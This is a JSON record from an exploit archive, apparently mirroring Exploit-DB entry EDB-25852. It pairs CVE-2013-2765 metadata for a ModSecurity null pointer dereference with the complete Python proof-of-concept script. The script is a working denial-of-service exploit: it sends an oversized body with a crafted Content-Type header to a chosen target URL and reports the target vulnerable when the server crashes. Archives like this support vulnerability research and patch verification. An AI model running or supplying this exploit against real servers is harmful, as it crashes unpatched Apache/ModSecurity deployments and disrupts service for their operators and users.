{"exploit":{"id":"EDB-25852","name":"ModSecurity - Remote Null Pointer Dereference","description":"ModSecurity - Remote Null Pointer Dereference","cves":["CVE-2013-2765"],"author":"Younes JAAIDI","published":"2013-05-31","platform":"multiple","type":"dos","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/25852","path":"exploits/multiple/dos/25852.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-25852.py","vulnerabilities":[{"id":"CVE-2013-2765","state":"PUBLISHED","title":null,"titleSource":null,"description":"The ModSecurity module before 2.7.4 for the Apache HTTP Server allows remote attackers to cause a denial of service (NULL pointer dereference, process crash, and disk consumption) via a POST request with a large body and a crafted Content-Type header.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2013-2765","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:N/I:N/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2013-2765"},"updatedAt":"2024-08-06T15:44:33.662Z","retrievedAt":"2026-11-26T13:07:07.227Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-25852.png?v=2","url":"https://exploitbin.com/exploits/EDB-25852","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-25852/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-25852/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/env python3\n# Source: http://packetstormsecurity.com/files/121815/modsecurity_cve_2013_2765_check.py.txt\n# When ModSecurity receives a request body with a size bigger than the value set by the \"SecRequestBodyInMemoryLimit\" and with a \"Content-Type\" that has no request body processor mapped to it, ModSecurity will systematically crash on every call to \"forceRequestBodyVariable\" (in phase 1). This is the proof of concept exploit. Versions prior to 2.7.4 are affected.\n\n#-*- coding: utf-8 -*-\n#\n# Created on Mar 29, 2013\n#\n# @author: Younes JAAIDI <yjaaidi@shookalabs.com>\n#\n\nimport argparse\nimport http.client\nimport logging\nimport sys\nimport urllib.request\n\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.DEBUG)\nlogger.addHandler(logging.StreamHandler(sys.stderr))\n\nclass ModSecurityDOSCheck(object):\n\n    _DEFAULT_REQUEST_BODY_SIZE = 200 # KB\n    _DEFAULT_CONCURRENCY = 100\n    _DEFAULT_USER_AGENT = \"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36\"\n\n    def __init__(self):\n        self._request_counter = 0\n        self._status_message = None\n\n    def main(self, args_list):\n        args_object = self._parse_args(args_list)\n\n        payload = \"A\" * args_object.request_body_size * 1024\n\n        request = urllib.request.Request(args_object.target_url,\n                                         method = \"GET\",\n                                         data = payload.encode('utf-8'),\n                                         headers = {'Content-Type': 'text/random',\n                                                    'User-Agent': self._DEFAULT_USER_AGENT})\n\n        if self._send_request(request):\n            logger.info(\"Target seems to be vulnerable!!!\")\n            return 0\n        else:\n            logger.info(\"Attack didn't work. Try increasing the 'REQUEST_BODY_SIZE'.\")\n            return 1\n\n    def _parse_args(self, args_list):\n        parser = argparse.ArgumentParser(description=\"ModSecurity DOS tool.\")\n        parser.add_argument('-t', '--target-url',\n                            dest = 'target_url',\n                            required = True,\n                            help = \"Target URL\")\n        parser.add_argument('-s', '--request-body-size',\n                            dest = 'request_body_size',\n                            default = self._DEFAULT_REQUEST_BODY_SIZE,\n                            type = int,\n                            help = \"Request body size in KB\")\n\n        return parser.parse_args()\n\n    def _send_request(self, request):\n        try:\n            urllib.request.urlopen(request)\n            return False\n        except (http.client.BadStatusLine, urllib.error.HTTPError):\n            return True\n\nif __name__ == '__main__':\n    sys.exit(ModSecurityDOSCheck().main(sys.argv))","sha256":"321d5c41efe4a33517344857e074a33027036d6a5c354a513dadd7fb1b207ffb","bytes":2810,"fetchedAt":"2026-11-26T13:07:07.023Z","encoding":"utf-8 (display only; download retains original bytes)"}